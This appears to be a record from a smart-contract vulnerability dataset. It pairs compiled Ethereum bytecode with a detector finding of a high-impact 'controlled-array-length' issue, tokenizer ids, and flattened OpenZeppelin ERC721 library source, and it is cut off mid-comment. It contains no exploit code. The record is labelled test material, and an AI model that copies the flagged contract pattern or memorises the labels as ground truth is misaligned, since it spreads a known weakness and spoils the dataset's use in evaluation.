af1158015610b45573d6000803e3d6000fd5b505050506040513d6020811015610b5b57600080fd5b50511515610b6857600080fd5b6107348383610cdf565b600160a060020a038084166000908152600460209081526040808320938616835292905220541515610bae57610ba9838383610d67565b610734565b610734838383610e46565b610a2f600034610cdf565b600160a060020a03808316600090815260046020908152604080832093851683529290529081205481908110610bf957600080fd5b50600160a060020a038084166000818152600360209081526040808320546001835281842054600584528285209689168086529684528285205495855260028452828520546004855283862097865296909352922054910192908302811515610c5e57fe5b0403949350505050565b801515610c7457600080fd5b600160a060020a038316600090815260016020526040902054811115610c9957600080fd5b600160a060020a03808416600081815260056020908152604080832094871683529381528382208054860190559181526003909152208054820190556107348382610edc565b600160a060020a03821660008181526020818152604080832033808552818452828520805488018155868652600185528386208054890190559481905290835292548151948552918401929092528282018490526060830152517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a15050565b600160a060020a0382161515610d7c57600080fd5b60008111610d8957600080fd5b600160a060020a0380841660009081526004602090815260408083209386168352929052205415610db957600080fd5b60068054600181019091557ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0393841690811790915592909116600081815260046020908152604080832095835294815284822084905591815260029091529190912080549091019055565b600160a060020a0382161515610e5b57600080fd5b60008111610e6857600080fd5b600160a060020a03808416600090815260046020908152604080832093861683529290529081205411610e9a57600080fd5b600160a060020a039283166000818152600460209081526040808320959096168252938452848120805484019055908152600290925291902080549091019055565b6107538282600160a060020a038216600090815260208181526040808320338452909152902054811115610f0f57600080fd5b600160a060020a03821660008181526020818152604080832033845282528083208054869003905583835260019091529020805483900390551515610f675760405133908290600081818185875af192505050610ffc565b604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051600160a060020a0384169163a9059cbb9160448083019260209291908290030181600087803b158015610fcf57600080fd5b505af1158015610fe3573d6000803e3d6000fd5b505050506040513d6020811015610ff957600080fd5b50515b151561100757600080fd5b600160a060020a0382166000818152602081815260408083203380855290835292819020548151948552918401929092528282018490526060830152517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a15050565b60405161056a8061109383390190565b604051610264806115fd833901905600608060405260008054600160a060020a03191633179055610545806100256000396000f30060806040526004361061008d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630352017b8114610092578063715018a6146100c65780638da5cb5b146100dd578063b31610db146100f2578063b7f379831461012c578063d701626e14610153578063f2fde38b14610174578063f4ac60de14610195575b600080fd5b34801561009e57600080fd5b506100aa6004356101b6565b60408051600160a060020a039092168252519081900360200190f35b3480156100d257600080fd5b506100db6101e2565b005b3480156100e957600080fd5b506100aa61024e565b3480156100fe57600080fd5b50610113600160a060020a036004351661025d565b6040805192835290151560208301528051918290030190f35b34801561013857600080fd5b506101416102b7565b60408051918252519081900360200190f35b34801561015f57600080fd5b506100db600160a060020a03600435166102be565b34801561018057600080fd5b506100db600160a060020a0360043516610333565b3480156101a157600080fd5b506100db600160a060020a0360043516610356565b60006001828154811015156101c757fe5b600091825260209091200154600160a060020a031692915050565b600054600160a060020a031633146101f957600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b6000805b6001548210156102b25782600160a060020a031660018381548110151561028457fe5b600091825260209091200154600160a060020a031614156102a7575060016102b2565b600190910190610261565b915091565b6001545b90565b600054600160a060020a031633146102d557600080fd5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461034a57600080fd5b61035381610455565b50565b6000805481908190600160a060020a0316331461037257600080fd5b61037b8461025d565b90935091508115156103c85760408051600160a060020a038616815290517f802a8d6c7b31595cc7ac494c5a97fd05bf48518378906e9e0f9f0d59f09af5b99181900360200190a1600080fd5b6001805460001981019081106103da57fe5b60009182526020909120015460018054600160a060020a03909216925082918590811061040357fe5b60009182526020822001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0393909316929092179091556001805491925061044e9060001983016104d2565b5050505050565b600160a060020a038116151561046a57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b8154818355818111156104f6576000838152602090206104f69181019083016104fb565b505050565b6102bb91905b808211156105155760008155600101610501565b50905600a165627a7a7230582060b550952e770951ea25bedb6db879eebdf8e7776bc329cf1b65c4577970699b0029608060405234801561001057600080fd5b50604051608080610264833981016040908152815160208301519183015160609093015160008054600160a060020a031916600160a060020a039093169290921782556001929092556002929092556003556101f290819061007290396000f3006080604052600436106100825763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630ab0df87811461008757806320965255146100ae57806321df0da7146100c35780633fa4f245146101015780633fd8b02f14610116578063e5a3c7711461012b578063fc0c546a14610154575b600080fd5b34801561009357600080fd5b5061009c610169565b60408051918252519081900360200190f35b3480156100ba57600080fd5b5061009c61016f565b3480156100cf57600080fd5b506100d8610175565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561010d57600080fd5b5061009c610191565b34801561012257600080fd5b5061009c610197565b34801561013757600080fd5b5061014061019d565b604080519115158252519081900360200190f35b34801561016057600080fd5b506100d86101aa565b60015481565b60035490565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60035481565b60025481565b6002546001540142101590565b60005473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a7230582081be54983e67663e34395e8f4caa63e86fbb3a234d941388884e859a9e7b04260029a165627a7a7230582034aaf39963f301e0edd58f6025076b4f959c8abb61f1ce556451580f7973c3e90029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14526, 23352, 2620, 11057, 27009, 2050, 2581, 2683, 16068, 4246, 2581, 2094, 25746, 2692, 2549, 8270, 18939, 2629, 2050, 2620, 2063, 24087, 2050, 2692, 17465, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 27644, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,613
0x97119f954640a4a432fb8d2d99815cfbd7592ebb
// File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See 